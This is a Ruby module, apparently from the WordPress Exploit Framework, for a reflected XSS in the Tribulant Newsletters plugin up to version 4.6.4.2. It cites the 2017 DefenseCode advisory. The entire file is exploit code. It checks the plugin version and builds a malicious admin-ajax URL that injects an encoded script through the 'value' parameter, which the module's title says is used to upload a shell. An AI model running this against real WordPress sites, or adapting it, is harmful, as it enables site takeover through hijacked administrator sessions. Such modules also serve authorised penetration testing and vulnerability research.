# frozen_string_literal: true

class Wpxf::Exploit::TribulantNewsletterReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss
  include ERB::Util

  def initialize
    super

    update_info(
      name: 'Tribulant Newsletters <= 4.6.4.2 Reflected XSS Shell Upload',
      author: [
        'DefenseCode', # Discovery
        'rastating'    # WPXF module
      ],
      references: [
        ['WPVDB', '8839'],
        ['URL', 'http://defensecode.com/advisories/DC-2017-01-012_WordPress_Tribulant_Newsletters_Plugin_Advisory.pdf']
      ],
      date: 'May 31 2017'
    )
  end

  def check
    check_plugin_version_from_readme('newsletters-lite', '4.6.4.3')
  end

  def vulnerable_url
    wordpress_url_admin_ajax
  end

  def url_payload
    url_encode("});#{xss_ascii_encoded_include_script};</script>")
  end

  def url_with_xss
    "#{vulnerable_url}?action=newsletters_gauge&value=1#{url_payload}"
  end
end
